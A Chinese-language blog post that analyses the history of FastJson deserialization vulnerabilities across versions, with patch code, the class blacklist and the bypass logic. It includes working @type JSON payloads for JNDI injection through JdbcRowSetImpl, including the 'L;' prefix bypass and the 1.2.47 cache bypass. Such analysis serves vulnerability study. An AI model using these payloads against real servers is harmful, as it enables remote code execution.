基于时间线的方式分析FastJson反序列化漏洞。
FastJson反序列化漏洞时间线概览
- 2017年3月15日 FastJson官方主动爆出在1.2.24及之前版本存在远程代码执行高危安全漏洞(当时最新版:1.2.28)
- FastJson 1.2.25被绕过,影响版本1.2.25-1.2.41(当时最新版:1.2.41)
- FastJson 1.2.42进行了安全加固
- FastJson 1.2.42被绕过
- FastJson 1.2.43进行了安全加固
- FastJson 1.2.44进行了安全加固
- FastJson 1.2.45扩大检测黑名单
- FastJson 1.2.46扩大检测黑名单
- FastJson 1.2.47全版本通杀漏洞出现!!!
- FastJson 1.2.48进行了安全加固
- 未完待续。。。
前置知识
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
创建一个名为Person的java类,重写
toString
方法,带有无参构造函数。并对当前Person类进行序列化和反序列化操作:
1 |
public class Person { |
输出结果如下:
通过输出结果可以了解,
FastJson
对java对象进行序列化时会调用
getter
方法,反序列化时调用无参构造方法以及
setter
方法,上面sex变量并没有
setter
方法,因此反序列化时无法进行赋值。
当在序列化时加入
SerializerFeature.WriteClassName
配置会将当前序列化的类写入json字符串中。
@type
属性可指定需要反序列化的类,调用其getter,setter,is方法。可以再新建一个和Person类相同属性和相同方法的PersonTest类,修改
@type
的属性,测试是否可以指定需要反序列化的类。正因为这个属性,使得用户可通过
@type
参数控制反序列化的类,造成RCE。
时间线-1
1 |
https://github.com/alibaba/fastjson/wiki/security_update_20170315 |
通过前置知识对
FastJson
序列化与反序列化的特点的分析,只需要找到危险的java类,在调用getter或者setter方法是执行恶意操作即可。
2017年4月29日基于
TemplatesImpl
类反序列化漏洞利用poc在网上流出(只能在1.2.22和1.2.24之间利用),该类的利用对版本的要求较大,具体可参考:
1 |
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ |
除此之外,
JdbcRowSetImpl
类也可执行RCE,查看该类的
setAutoCommit
方法:
先判断是否进行了数据库连接,如果没有则会进入
connect
函数进行连接,跟进一下
connect
函数:
此方法会对传入的
dataSource
进行
lookup
,由于反序列时
dataSource
变量可以控制,可利用
jndi
注入的方式进行利用。
payload:
1 |
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true} |
测试环境可参考
vulhub
上的靶机:
1 |
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce |
时间线-2
注意:在1.2.25之后的版本,以及所有的.sec01后缀版本中,默认启用白名单的方式。下面提到的利用方式大部分针对黑名单开启的情况。
根据官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中,黑名单如下:
1 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");checkAutoType部分函数如下(针对黑名单开启情况,autoTypeSupport=true):
首先程序会去检测白名单,typeName在白名单中则直接加载,然后去做黑名单检测,在黑名单中则抛出异常。当typeName不在白名单并且黑名单为检测出异常时,程序会尝试加载此类:
跟进loadClass函数
发现如果typeName开头为
L
结尾为;
会自动递归去除开头和结尾,因此利用此方法可绕过大部分黑名单的限制。payload:
1 {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}时间线-3
对1.2.42和1.2.41进行比较,主要进行了以下更新,之前的黑名单和白名单改为hash模式,增大了分析的难度,但仍可通过枚举爆破的方式获取,网上已有人做出了爆破,参考:
1 https://github.com/LeadroyaL/fastjson-blacklist对比如下:
接着对传入的typeName进行了逻辑上的修改,主要如下:
提取className的第一个字符和最后一个字符,是否为
L
开头和;
结尾,如果hash匹配相同则进行去除,然后再进行黑名单的判断。时间线-4
根据上面的对比,代码只进行了一次检验,因此双写绕过第一次的检测,然后绕过黑名单检测,进而进入loadClass,防护也就没有了效果。
payload:
1 {"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}时间线-5
如果className的开头为
LL
则直接发出异常。安全加固有效,可有效组织反序列化的攻击。时间线-6
将之前的判断逻辑进行了修改,如果className开头为
L
或者[
则抛出异常,增加对[
开头的检测是因为进行类加载时也会对[
进行判断,存在则删除:
1
2
3
4 if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}实际操作中,带有
[
开头的类型是无法被java程序正常执行的,但仍然对其进行了限制。。时间线-7
1.2.45没有什么太大的安全更新,只是对之前的黑名单进行了拓展。
时间线-8
1.2.46没有什么太大的安全更新,只是对之前的黑名单进行了拓展。
时间线-9
payload:
1 {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}}}主要问题还是出现在
checkAutoType
函数中,这里对1.2.47版本进行分析,函数如下,关键代码进行了注释:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
//对字符长度进行限制
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
//替换操作
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
//检测是否是[开头,是的话则抛出异常
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
//检测是否是L开头和;结尾,是的话则抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
//是否开启名单检测,autoTypeSupport默认false
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//尝试从Mapping中通过类名获取该类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//尝试从反序列化器中通过类名获取该类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//如果获取到了该类,直接返回实例,不再向下进行
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
//前面clazz仍为空并且白名单开启情况进入if函数
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//类名在黑名单中直接抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//类名在白名单中加载该类
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//当上面检测仍无法获取clazz时,进入loadClass函数加载
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}此方法的绕过思路大致为,首先传入
java.lang.Class
类通过设置val将com.sun.rowset.JdbcRowSetImp
加载进map缓存,在第二次解析恶意类是,因为map缓存中存在了com.sun.rowset.JdbcRowSetImp
:
1 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)此if语句对恶意类的判读无效,因此无论是否开启autotype都不会抛出异常,并且在下面语句中从map缓存中取出该类: